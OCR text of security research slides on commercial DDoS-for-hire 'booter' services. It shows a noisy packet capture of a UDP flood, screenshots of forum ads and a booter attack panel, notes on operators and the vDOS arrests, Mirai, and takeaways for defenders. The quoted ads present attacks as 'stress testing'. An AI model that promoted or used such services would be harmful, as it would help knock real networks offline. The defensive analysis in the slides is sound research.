134	3.582882	205.		UDP					um Destination port: http [BAD UDP LENGTH 22380 >
	3.582883			UDP					ol Destination port: http [BAD UDP LENGTH 37619 :
	3.582884			UDP					Destination port: http [BAD UDP LENGTH 47748 > If
	3.582885			UDP					erv Destination port: http [BAD UDP LENGTH 46344 :
	3.582886			UDP					Destination port: http [BAD UDP LENGTH 40550 > If
	3.582888			UDP					p Destination port: http [BAD UDP LENGTH 40741 >
	3.582889			UDP					Destination port: http [BAD UDP LENGTH 56185 > If
	3.582890			UDP		Source			
	3.582891			UDP		Source			Destination port: http [BAD UDP LENGTH 29613 > I
	3.582893			UDP		Source	•		Destination port: http [BAD UDP LENGTH 50874 > If
	3.582894			UDP		Source			Destination port: http [BAD UDP LENGTH 54434 > I
	3.582895			UDP		Source			Destination port: http [BAD UDP LENGTH 3431 > IP
	3.582896			UDP			•		lsvr Destination port: http [BAD UDP LENGTH 50418
	3.582897			UDP		Source			Destination port: http [BAD UDP LENGTH 28263 > IP
	3.582898			UDP		Source	•		Destination port: http [BAD UDP LENGTH 30350 > If
	3.582899			UDP		Source			Destination port: http [BAD UDP LENGTH 2417 > IP
	3.582900			UDP		Source	•		Destination port: http [BAD UDP LENGTH 57494 > I
	3.582901			UDP		Source			Destination port: http [BAD UDP LENGTH 47155 > I
	3.582902			UDP		Source			Destination port: http [BAD UDP LENGTH 61542 > If
	3.582903			UDP		Source	•		Destination port: http [BAD UDP LENGTH 11581 > If
	3.582904			UDP		Source			Destination port: http [BAD UDP LENGTH 1285 > IP
	3.582905			UDP		Source			Destination port: http [BAD UDP LENGTH 30714 > If
	3.582906			UDP		Source			Destination port: http [BAD UDP LENGTH 26576 > If
	3.582906			UDP		Source			Destination port: http [BAD UDP LENGTH 54190 > If
	3.582907	92.2		UDP		Source			Destination port: http [BAD UDP LENGTH 10422 > If
	3.582909			UDP		Source			Destination port: http [BAD UDP LENGTH 23425 > II
160		13 110 4 18		TIDP	44	Source	nort	19295	Destination nort: http://BAD_UDP_LENGTH_25159 > TF

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Pages (41): 1 2 3 4 5 41 Next »			New Thread
Server Stress Testing			SYT Mark
Thread / Author	Replies	Rating	LastPost[asc]
Important Threads			
[SERVERBOOT] ~ STRONGEST L4&L7 DDOS 240+Gbps & 50K R/s TN API Links 100% Uptime (Pages: 1 2 3 4 11) Crypt.	1,013		Today 02:41 PM Last Post: Crypt.
CriticalBOOT Unlimited BOOTS OVH Stop/Resume/Renew VIP 300Gbps API (Pages: 1 2 3 4 13) aKa Photon	1,211		Today 02:28 PM Last Post: aKa Photon
E CloudStress Hard Hitting PP & BTC SALE Custom Plans 200+ Gbps 100% Uptime BEST DEAL BEST DEAL	26		Today 02:19 PM Last Post: ՆՕ̓PTIC
XyZBooter 200Gbps+TN L4&L7 27 Attack Methods BTC,PayPal VIP Nodes 2 Years Running (Pages: 1 2 3 4 5) Spai3N	415		Today 11:29 AM Last Post: PONI Walker

FEATURES


- 100% Uptime
- Dedicated Support Team
- Powerful VIP Network
- DDOS API Included

- Layer 4 & 7 Methods
- Instant Setup
- IP Geolocation
- Dynamic Boot Hub

We have too many features to list here, for a full list visit

ServerBoot.com!

OUR PACKAGES



WHAT WE CAN DOWN



Home Connections



Protected Servers




Websites



Game Servers



IO • BOOTER		
Login Access		
La Username		
Password		
Forgot Password Register Login		
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IO BOOTER			
😤 Dashboard			
l Stresser	Server Stress Testing		
🍰 Server Status			
€ Resolvers -	Host / IP		
😤 Attack Logs	Bost	80	
🗐 IP Tools 🗸 👻	Port	80	
C Support Center	Time		
🐂 Buy Now			
	Attack Script	Chargen (UDP)	Launch Attack

Booter Operators

- North America/Western Europe/Israel
- $_{\circ}$ 16-26 year old
- Hackforums users (Vendors!)
- $_{\circ}~$ Two to six admins per service
- Heavy users of social media

Nov 19

xr8edstresser.com/login.php

do you need a stresser? first 6 customers get it 2 dollars 2 days :D

VDoS Arrests

- Yarden Bidani and Itay Huri were arrested in Israel
- Accused of running the Vdos DDoS service
- This happened shortly after the Vdos database was publicly dumped and written about on KrebsOnSecurity
- Shortly afterwards, a number of booter operators on Hackforums voluntarily closed up shop

Leaked Booter Databases

- For a defender, these can be useful.
- When were your IPs attacked? By whom? What else did that user attack?



Mirai

- Mirai made big headlines recently due to large DDoS attacks
- Mirai was part of a commercial DDoS-for-hire scheme that involved selling spots on a botnet
- Source code was dumped publicly after Mirai made the headlines
- $_{\circ}~$ This commercial service was very different from booters
 - Used hacked machines instead of rented machines

Takeaways

Takeaways for Defenders

- Duration matters shorter attacks are probably Booters
- Booters generally top out at 30 Gbps
- Packets can be useful what service, what is the reflected domain, etc
- Packets + sensor data can be VERY useful
 - You can tell if it's spoofed or true source
 - $_{\circ}~$ You can determine the number of sources
 - Botnet or booter?
- Social media monitoring
- Enterprise DDoS mitigation works

Allisson NixonDirector of Security Research, FlashpointAndre CorreaCo-founder, Malware Patrol